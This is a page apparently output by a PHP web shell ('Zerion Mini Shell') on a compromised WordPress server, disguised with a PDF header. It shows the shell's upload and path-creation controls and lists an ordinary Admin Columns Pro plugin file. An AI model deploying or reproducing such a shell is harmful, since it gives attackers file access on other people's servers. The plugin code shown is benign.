%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/businessmultisite/wp-content/plugins/admin-columns-pro/classes/Admin/PageFactory/
Upload File :
Create Path :
Current File : /var/www/businessmultisite/wp-content/plugins/admin-columns-pro/classes/Admin/PageFactory/Tools.php

<?php

namespace ACP\Admin\PageFactory;

use AC;
use AC\Admin\MenuFactoryInterface;
use AC\Admin\PageFactoryInterface;
use AC\Asset\Location;
use AC\ListScreenRepository\Storage;
use ACP\Admin\Page;
use ACP\Migrate\Admin\Section\Export;
use ACP\Migrate\Admin\Section\Import;

class Tools implements PageFactoryInterface {

	/**
	 * @var Location\Absolute
	 */
	private $location;

	/**
	 * @var Storage
	 */
	private $storage;

	/**
	 * @var MenuFactoryInterface
	 */
	private $menu_factory;

	public function __construct( Location\Absolute $location, Storage $storage, MenuFactoryInterface $menu_factory ) {
		$this->location = $location;
		$this->storage = $storage;
		$this->menu_factory = $menu_factory;
	}

	public function create() {
		$page = new Page\Tools(
			$this->location,
			new AC\Admin\View\Menu( $this->menu_factory->create( 'import-export' ) )
		);
		$page->add_section( new Export( $this->storage, false ) )
		     ->add_section( new Import() );

		return $page;
	}

}

Zerion Mini Shell 1.0